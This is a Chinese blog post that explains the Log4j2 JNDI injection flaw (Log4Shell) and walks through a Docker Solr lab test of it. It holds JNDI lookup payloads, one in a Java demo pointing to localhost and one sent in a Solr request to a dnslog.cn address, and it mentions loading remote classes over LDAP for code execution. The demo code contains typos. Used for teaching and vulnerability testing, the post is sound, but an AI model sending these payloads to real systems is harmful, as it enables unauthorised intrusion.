首页 > 其他分享 >Log4j2 JNDI注入漏洞

Log4j2 JNDI注入漏洞

时间:2024-02-18 15:11:36浏览次数:26  
标签:JNDI 访问 import 日志 Log4j2 public 漏洞

2021年一个log4j2的JNDI注入漏洞轰动中外,因为其影响力非常大并且使用门槛比较低。Log4j2并不是一个服务,只是java一个记录日志的类库,但是java中用来记录日志的库本就没几个。所以使用非常广

形成原因是log4j2使用一个Lookups的机制,也就是记录日志的时候会嵌入用户输入数据。这个Lookups可以是Environment,System Properties或者JNDI,这就导致攻击者可以通过参数自己创建一个JNDI都注入点,进而漏洞利用

比如下面一个测试demo

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;
public calss log4j2Test {
    public final static Logger logger = LogManager.getLogger(Log4jTest.class);
	
    public static void main(String[] args) throws Exception{
        String user="${jndi:loap://localhost:1234/exp}";
        logger.error("{} said it's ok",user);
    }
}

JNDI可以访问的命名或目录服务很多,比如RMI,LOAP以及DNS,这里如果访问RMI和LOAP是可以利用Reference加载远程Factory类实现任意代码执行的,但是需要搭建LOAP服务以及一个web server用来存放exploit.class
为了方便,我们只需要一个DNS测试就可以证明存在JNDI注入漏洞了
使用Docker搭建一个环境,
image
开启环境后直接构造请求包访问
/solr/admin/cores?action=${jndi:dns://d1hjhc.dnslog.cn}
这里利用jndi访问dns服务
image

可以看到虽然返回400 请求无效,但是记录日志的时候还是使用JNDI访问了这个DNS服务去解析域名,这就证明漏洞是生效的
image

标签:JNDI,访问,import,日志,Log4j2,public,漏洞
From: https://www.cnblogs.com/Erebussss/p/18019347

相关文章

  • Tenable Nessus 10.7.0 (Unix, Linux, Windows) - #1 漏洞评估解决方案
    TenableNessus10.7.0(Unix,Linux,Windows)-#1漏洞评估解决方案发布Nessus试用版自动化安装程序,支持macOSSonoma、RHEL9和Ubuntu22.04请访问原文链接:TenableNessus10.7.0(Unix,Linux,Windows)-#1漏洞评估解决方案,查看最新版。原创作品,转载请保留出处。......
  • DVWA-File Upload(文件上传漏洞)
    FileUpload文件上传漏洞是通过上传文件功能,上传一些可执行的脚本文件,且服务器端没有对上传的文件进行严格的校验或者在服务器端没有对上传的文件进行安全策略的配置,导致文件能成功上传到服务器上,且能够解析执行。DVWA-FileUpload的级别:--low--medium--high......
  • DVWA-File inclusion(文件包含漏洞)
    FileInclusion,文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。PHP中包含文件函数介绍:Inc......
  • 漏洞信息管理平台
    漏洞信息管理平台是用于收集、管理、分析和报告安全漏洞信息的工具。这些平台帮助组织识别、优先级排序和修复软件漏洞,以提高网络安全态势。它们可以是商业产品,也可以是开源项目。以下是一些著名的漏洞信息管理平台的例子:TenableNessus:TenableNessus是一个广泛使用的漏洞扫......
  • Apache Ofbiz CVE-2023-51467 漏洞分析
    ApacheOfbizCVE-2023-51467漏洞分析漏洞影响范围ApacheOFBiz<18.12.10环境搭建启动docker环境vulhub-master/ofbiz/CVE-2023-51467克隆仓库,转到指定commit,用idea进行远程调试gitclonehttps://github.com/apache/ofbiz-framework.gitcdofbiz-frameworkgitche......
  • 【漏洞复现】用友NC-Cloud系统uploadChunk存在任意文件上传漏洞
    阅读须知花果山的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本......
  • 【漏洞复现】用友NC-Cloud PMCloudDriveProjectStateServlet接口存在JNDI注入漏洞
    阅读须知花果山的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本......
  • 各种bin在多种情况下漏洞利用的理论和实践
    先看一下main_arena中的大致结构:largebinattck此图不完全正确,其中largebin里的chunk如果是小组中最前面的那个chunk,并且大组中只有一个小组,bk_nextsize和fd_nextsize就都指向自己,且链表当中最后一个chunk的bk和最前面的chunk的fd指针指向头部,如果是小组中非最前面的chunk,则b......
  • 42种常见网站漏洞
    42种常见网站漏洞,让你水得快速,水得专业转载:零漏安全2024-01-1012:29发表于河南免责声明:由于传播、利用本公众号"零漏安全"所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号"零漏安全"及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权......
  • .net介绍以及其常见漏洞
    前言:本篇来学习.NET项目和其使用的c#的一些通用漏洞1.0.NET的基础介绍.NET是由微软(Microsoft)开发的一个用于构建各种应用程序的开发平台,包括Web应用程序、桌面应用程序、移动应用程序等。它是一个综合性的技术栈,提供了一系列的开发框架、工具和库,使得开发者能够使用多种编......